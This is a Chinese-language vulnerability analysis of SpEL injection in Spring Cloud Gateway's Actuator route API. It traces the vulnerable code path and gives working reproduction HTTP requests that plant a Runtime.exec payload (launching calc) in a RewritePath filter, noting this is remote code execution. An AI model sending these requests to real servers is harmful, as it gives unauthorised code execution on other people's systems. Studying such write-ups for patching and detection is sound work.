SpringCloud Gateway 是 Spring Cloud 的一个全新项目，该项目是基于 Spring 5.0，Spring Boot 2.0 和 Project Reactor 等技术开发的网关，它旨在为微服务架构提供一种简单有效的统一的 API 路由管理方式。

0x01:影响版本

Spring Cloud Gateway：
3.1.0
3.0.0 to 3.0.6
不受支持的旧版本也会受到影响

0x02：原理分析

Actuator API

SpringCloudGateWay支持通过Actuator端点对网关进行监控和交互，其中还可以删除和创建特定的路由。

路由相关定义如下

其中的filter参数可以定义该路由的Filter,并且可以传递Filter的参数。 SpringCloudGateWay内置了28个Filter。

ShortcutConfigurable

可以看到所有的GateWayFilter都继承了ShortcutConfigurable接口。

而在ShortcutConfigurable接口中有一个getValue静态方法,可以看到里面执行了SPEL表达式,expression.getValue(context)。

而调用该getValue的地方在该接口的ShortcutType枚举类型中的normalize方法。

GatewayFilters#normalizeProperties

而调用了normalize的地方则是在对每一个Filter初始化过程中对Filter属性进行解析时。

也就是其中会将Filter的配置属性传入normalize中,最后进入getValue执行SPEL表达式造成SPEL表达式注入。

0x03：复现

以RewritePathFilter为例。

POST /actuator/gateway/routes/new_route HTTP/1.1
Host: 127.0.0.1:9000
Connection: close
Content-Type: application/json
Content-Length: 374

{
  "predicates": [
    {
      "name": "Path",
      "args": {
        "_genkey_0": "/new_route/**"
      }
    }
  ],
  "filters": [
    {
      "name": "RewritePath",
      "args": {
        "_genkey_0": "#{T(java.lang.Runtime).getRuntime().exec(\"calc\")}",
        "_genkey_1": "/${path}"
      }
    }
  ],
  "uri": "https://xxx.pl",
  "order": 0
}

POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:9000
Content-Type: application/json
Connection: close
Content-Length: 260

{
  "predicate": "Paths: [/new_route], match trailing slash: true",
  "route_id": "new_route",
  "filters": [
    "[[RewritePath #{T(java.lang.Runtime).getRuntime().exec(\"calc\")} = /${path}], order = 1]"
  ],
  "uri": "https://xxx.pl",
  "order": 0
}

ps：本地测试的缘故导致最后一张图执行的命令和burp放在了一起，但是不要慌是这是一个远程RCE